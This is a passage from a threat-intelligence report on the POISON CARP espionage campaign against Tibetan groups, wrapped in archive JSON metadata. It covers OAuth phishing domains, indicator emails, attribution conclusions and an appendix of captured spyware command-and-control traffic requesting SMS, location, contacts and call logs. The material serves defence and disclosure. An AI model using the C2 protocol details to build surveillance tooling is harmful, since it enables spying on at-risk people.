requests access to Gmail data\r\n(Figure 15). After subsequent clicks, the link simply redirected to a legitimate Google login page. The second bit.ly link\r\nserved MOONSHINE, leading us to determine that these OAuth attacks are carried out by the same operator as the mobile\r\nexploitation activity.\r\nWhen we visited www.energy-mail[.]org in a web browser, we were presented with a decoy page for a mail app called\r\n“Energy Mail” that purported to be “a free email application with simple configuration and free customization” supporting\r\n“Gmail, Outlook, Hotmail, Yahoo, Tencent business, Sina, Netease, and many more.” This decoy page may have been\r\ndesigned to convince someone vetting the OAuth app that it served a legitimate purpose.\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 15 of 19\n\nWe identified the following websites that appeared to be used by the same operator, based on similarity of decoy pages and\r\nby using Passive DNS data from RiskIQ:\r\nantmoving[.]online\r\nbeemail[.]online\r\nbf[.]mk\r\nenergy-mail[.]org\r\ngmailapp[.]me\r\nizelense[.]com\r\nmailanalysis[.]services\r\nmailcontactanalysis[.]online\r\nmailnotes[.]online\r\npolarismail[.]services\r\nrf[.]mk\r\nwalkingnote[.]online\r\nDecoy pages and OAuth applications contained the following contact information:\r\nantmoving.online@gmail.com\r\nenergymail.org@gmail.com\r\njameslewis199106@gmail.com\r\ntouchxun658@gmail.com\r\n+852 65891393\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 16 of 19\n\nWe found the following WHOIS data shared among some of these sites:\r\ne-mail: dashenqu832@outlook.com\r\ne-mail: ornaments798@outlook.com\r\n5. Conclusion\r\nOne of the significant findings of our analysis is the connection between POISON CARP and the campaigns reported by\r\nGoogle Project Zero and Volexity. Based on the use of the same iOS exploits and similar iOS spyware implant between\r\nPOISON CARP and the campaign described by Google Project Zero and server infrastructure connections with the Evil Eye\r\ncampaign reported by Volexity, we determine that the three campaigns were likely conducted by the same operator or a\r\nclosely coordinated group of operators who share resources.\r\nBeyond the technical overlap in these campaigns is the fact that they all targeted ethnic minority groups related to China:\r\nUyghurs and Tibetans. These communities have experienced digital espionage threats for over a decade and previous reports\r\noften find the same operators and malware tool kits targeting them. However, the level of threat posed by POISON CARP\r\nand the linked campaigns are a game changer. These campaigns are the first documented cases of iOS exploits and spyware\r\nbeing used against these communities.\r\nOver the years, Tibetan groups have become savvy to the signs of suspicious emails, attachments, and phishing. However,\r\nPOISON CARP shows that mobile threats are not expected by the community, as evidenced by the high click rate on the\r\nexploit links that would have resulted in significant compromise if the devices were running vulnerable versions of iOS or\r\nAndroid. Part of the success of the social engineering used by POISON CARP is likely due to the effort made to make\r\ntargeted individuals feel comfortable through the extended chat conversations and fake personas. This intimate level of\r\ntargeting is easier to achieve on mobile chat apps than through email.\r\nThe targeting of mobile platforms also reflects a general pattern we have seen in information security threats to civil society\r\naround the world. Numerous reports show the products of commercial spyware vendors who sell services exclusively to\r\ngovernments being used to spy on activists and journalists through their iOS and Android devices. These incidents\r\ndemonstrate a growing demand for exploitation of mobile devices. From an adversary perspective what drives this demand\r\nis clear. It is on mobile devices that we consolidate our online lives and that civil society organizes and mobilizes. A view\r\ninside a phone can give a view inside these movements.\r\nAddressing these threats requires action from within civil society and private industry. Efforts such as TibCERT are\r\nimportant steps forward in increasing the digital security of Tibetan organisations and can serve as examples for other civil\r\nsociety communities. By adopting procedures, norms, and frameworks used by government and private industry such as\r\nCERTs, civil society can mature efforts to share incident response resources and data on threats. At the same time, platform\r\nproviders should pay special attention to threats deployed against civil society. Not only are civil society users at heightened\r\nrisk of negative consequences from digital espionage, but the surveillance tools developed and honed with the unwitting aid\r\nof civil society targets put all users at risk.\r\nAcknowledgements\r\nThis report is a collaboration with the Tibetan Computer Emergency Readiness Team (TibCERT). Special thanks to the TNG\r\n\u0026 Tommy.\r\nIndicators of Compromise\r\nIndicators of compromise are available on our GitHub page in multiple formats.\r\nAppendix A: MOONSHINE – Scotch Command and Control Traffic\r\nThe following is a rendered view of network communication we captured between our Android test device infected with the\r\nScotch implant and the command and control server. Data in italics denotes information which has been redacted.\r\nMSG DIRECTION : COMMAND | RESULT -\u003e DATA\r\n=================================================================================================\r\nSERVER -\u003e CLIENT : ONLINE | SUCCESS -\u003e [{'target_id': \u003cint\u003e}]\r\nSERVER -\u003e CLIENT : DEV_INFO | SUCCESS -\u003e [{}]\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 17 of 19\n\nCLIENT -\u003e SERVER : DEV_INFO | SUCCESS -\u003e\r\n[{'board_name': 'unknown',\r\n'cpu_corenum': 1,\r\n'cpu_maxfreq': '',\r\n'cpu_minfreq': '',\r\n'cpu_curfreq': 'N/A',\r\n'cpu_feature': 'swp half thumb fastmult vfp edsp neon\r\nvfpv3 tls vfpv4 idiva idivt vfpd32 evtstrm',\r\n'cpu_hardware': 'Dummy Virtual Machine',\r\n'cpu_arch': '7',\r\n'product': 'sdk_phone_armv7',\r\n'model': 'sdk_phone_armv7',\r\n'sdk': '6.0',\r\n'sdk_int': 23,\r\n'imei': '00000000000000',\r\n'hardware': 'ranchu',\r\n'radio_version': '',\r\n'brand': 'Android',\r\n'rom': 'unknown',\r\n'system_version': '6.0',\r\n'linux_version': 'Linux version 3.10.0+ (jinqian@jinqian.mtv.corp.google.com)\r\n(gcc version 4.9 20150123 (prerelease) (GCC) )\r\n#99 SMP PREEMPT Tue May 17 18:35:11 PDT 2016nay 17 18:35:11 P',\r\n'display': 'sdk_phone_armv7-userdebug 6.0 MASTER 3079352 test-keys',\r\n'host': 'vpeb14.mtv.corp.google.com',\r\n'language': 'en-US',\r\n'host_app_label': 'Loader',\r\n'host_app_version_name': '1.0',\r\n'host_app_version_code': 1,\r\n'host_app_package_name': 'com.facebook.katana',\r\n'host_app_path': '/data/data/com.facebook.katana',\r\n'real_resolution': '1440 * 2880',\r\n'resolution': '1440 * 2712',\r\n'densitydpi': 560,\r\n'sensor': ['Goldfish 3-axis Accelerometer', 'Goldfish 3-axis Magnetic field sensor',\r\n'Goldfish Orientation sensor', 'Goldfish Temperature sensor',\r\n'Goldfish Proximity sensor', 'Goldfish Light sensor',\r\n'Goldfish Pressure sensor', 'Goldfish Humidity sensor'],\r\n'simcard': [],\r\n'packageInfo': [\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 18 of 19\n\n{'name': 'com.android.smoketest', 'version': '6.0-3079352', 'install_time': 1469048094000},\r\n{'name': 'com.example.android.livecubes', 'version': '6.0-3079352', 'install_time': 1469048288000},\r\n{'name': 'com.example.android.apis', 'version': '6.0-3079352', 'install_time': 1469048339000},\r\n{'name': 'com.facebook.katana', 'version': '1.0', 'install_time': 1564653617080},\r\n{'name': 'com.android.gesture.builder', 'version': '6.0-3079352', 'install_time': 1469048289000},\r\n{'name': 'com.android.smoketest.tests', 'version': '6.0-3079352', 'install_time': 1469048094000},\r\n{'name': 'com.example.android.softkeyboard', 'version': '6.0-3079352', 'install_time': 1469048288000},\r\n{'name': 'com.android.widgetpreview', 'version': '6.0-3079352', 'install_time': 1469048289000}\r\n]\r\n}]\r\nSERVER -\u003e CLIENT : GET_PLUGIN_INFO | SUCCESS -\u003e\r\n[{'plugins':\r\n[\r\n{'name': 'bourbon.jar', 'version': '0.1.0708.39', 'hash': '\u003csha256 hash\u003e'},\r\n{'name': 'icecube.jar', 'version': '0.1.0708.39', 'hash': '\u003csha256 hash\u003e'}\r\n]\r\n}]\r\nCLIENT -\u003e SERVER : GET_PLUGIN_INFO | SUCCESS -\u003e []\r\nSERVER -\u003e CLIENT : GET_SMS | SUCCESS -\u003e [{'subcmd': 2}]\r\nCLIENT -\u003e SERVER : GET_SMS | COMMAND_TYPE_NOT_REGISTERED -\u003e []\r\nSERVER -\u003e CLIENT : GET_LOCATION | SUCCESS -\u003e [{'subcmd': 2}]\r\nCLIENT -\u003e SERVER : GET_LOCATION | COMMAND_TYPE_NOT_REGISTERED -\u003e []\r\nSERVER -\u003e CLIENT : GET_CONTACT | SUCCESS -\u003e [{'subcmd': 2}]\r\nCLIENT -\u003e SERVER : GET_CONTACT | COMMAND_TYPE_NOT_REGISTERED -\u003e []\r\nSERVER -\u003e CLIENT : GET_CALLLOG | SUCCESS -\u003e [{'subcmd': 2}]\r\nCLIENT -\u003e SERVER : GET_CALLLOG | COMMAND_TYPE_NOT_REGISTERED -\u003e []\r\nCLIENT -\u003e SERVER : GET_PLUGIN_INFO | SUCCESS -\u003e []\r\nSERVER -\u003e CLIENT : GET_SMS | SUCCESS -\u003e [{'subcmd': 2}]\r\nSERVER -\u003e CLIENT : GET_LOCATION | SUCCESS -\u003e [{'subcmd': 2}]\r\nSERVER -\u003e CLIENT : GET_CONTACT | SUCCESS -\u003e [{'subcmd': 2}]\r\nSERVER -\u003e CLIENT : GET_CALLLOG | SUCCESS -\u003e [{'subcmd': 2}]\r\nCLIENT -\u003e SERVER : GET_SMS | PERMISION_NOT_GRANTED -\u003e []\r\nCLIENT -\u003e SERVER : GET_LOCATION | PERMISION_NOT_GRANTED -\u003e []\r\nCLIENT -\u003e SERVER : GET_CONTACT | PERMISION_NOT_GRANTED -\u003e []\r\nCLIENT -\u003e SERVER : GET_CALLLOG | PERMISION_NOT_GRANTED -\u003e []\r\nSource: https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/"
	],
	"report_names": [
		"poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits"
	],
	"threat_actors": [
		{
			"id": "f0ebaf6d-5e1a-4ed7-aa2c-0e69a648acea",
			"created_at": "2022-10-25T16:07:23.597455Z",
			"updated_at": "2026-04-10T02:00:04.683154Z",
			"deleted_at": null,
			"main_name": "Evil Eye",
			"aliases": [],
			"source_name": "ETDA:Evil Eye",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "3cc6c262-df23-4075-a93f-b496e8908eb2",
			"created_at": "2022-10-25T16:07:23.682239Z",
			"updated_at": "2026-04-10T02:00:04.708878Z",
			"deleted_at": null,
			"main_name": "GhostNet",
			"aliases": [
				"GhostNet",
				"Snooping Dragon"
			],
			"source_name": "ETDA:GhostNet",
			"tools": [
				"AngryRebel",
				"Farfli",
				"Gh0st RAT",
				"Gh0stnet",
				"Ghost RAT",
				"Ghostnet",
				"Moudour",
				"Mydoor",
				"PCRat",
				"Remosh",
				"TOM-Skype"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "e91dae30-a513-4fb1-aace-4457466313b3",
			"created_at": "2023-01-06T13:46:38.974913Z",
			"updated_at": "2026-04-10T02:00:03.168521Z",
			"deleted_at": null,
			"main_name": "GhostNet",
			"aliases": [
				"Snooping Dragon"
			],
			"source_name": "MISPGALAXY:GhostNet",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "52973e5f-9656-4b60-b7f8-457e32ac4bbe",
			"created_at": "2023-01-06T13:46:39.056888Z",
			"updated_at": "2026-04-10T02:00:03.198866Z",
			"deleted_at": null,
			"main_name": "POISON CARP",
			"aliases": [
				"Evil Eye",
				"Red Dev 16",
				"Earth Empusa"
			],
			"source_name": "MISPGALAXY:POISON CARP",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d2a5c949-7ae0-4610-8bb8-047ab03b1574",
			"created_at": "2022-10-25T16:07:24.064197Z",
			"updated_at": "2026-04-10T02:00:04.856578Z",
			"deleted_at": null,
			"main_name": "Poison Carp",
			"aliases": [
				"Earth Empusa",
				"Evil Eye",
				"EvilBamboo",
				"Poison Carp",
				"Red Dev 16",
				"Sentinel Taurus"
			],
			"source_name": "ETDA:Poison Carp",
			"tools": [
				"ActionSpy",
				"AxeSpy",
				"BADSIGNAL",
				"BADSOLAR",
				"BadBazaar",
				"IRONSQUIRREL",
				"IceCube",
				"MOONSHINE",
				"PoisonCarp"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434169,
	"ts_updated_at": 1775792127,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2294e70f0b1af5475cc3f331475bb0319e139efe.pdf",
		"text": "https://archive.orkl.eu/2294e70f0b1af5475cc3f331475bb0319e139efe.txt",
		"img": "https://archive.orkl.eu/2294e70f0b1af5475cc3f331475bb0319e139efe.jpg"
	}
}